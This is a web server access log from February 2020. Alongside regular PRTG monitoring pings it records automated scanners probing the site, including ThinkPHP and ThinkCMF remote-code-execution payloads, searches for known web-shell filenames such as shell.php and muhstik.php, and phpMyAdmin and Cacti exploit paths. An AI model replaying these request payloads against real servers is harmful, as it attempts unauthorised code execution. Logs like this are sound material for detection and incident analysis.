5.101.0.209 - - [25/Feb/2020:17:21:01 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.190.166.70 - - [25/Feb/2020:17:22:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:17:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.56.86.95 - - [25/Feb/2020:17:24:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:17:24:58 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:25:38 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:17:25:49 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:25:58 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:17:26:48 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:26:57 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
213.190.166.70 - - [25/Feb/2020:17:27:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.190.166.70 - - [25/Feb/2020:17:27:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:17:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.126.168.100 - - [25/Feb/2020:17:29:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:17:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.65.171.200 - - [25/Feb/2020:17:34:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.234.85.59 - - [25/Feb/2020:17:38:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:17:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:45:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
195.9.141.99 - - [25/Feb/2020:17:45:18 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
195.9.141.99 - - [25/Feb/2020:17:45:18 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [25/Feb/2020:17:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
195.9.141.99 - - [25/Feb/2020:17:45:41 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
195.9.141.99 - - [25/Feb/2020:17:45:41 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
195.9.141.99 - - [25/Feb/2020:17:45:41 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
195.9.141.99 - - [25/Feb/2020:17:45:41 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:46:01 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:46:21 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:46:41 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.104.71.20 - - [25/Feb/2020:17:46:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
195.9.141.99 - - [25/Feb/2020:17:47:01 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:47:21 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:47:41 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:01 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
195.9.141.99 - - [25/Feb/2020:17:48:01 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:01 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:01 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:01 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:01 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:01 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:02 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:03 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
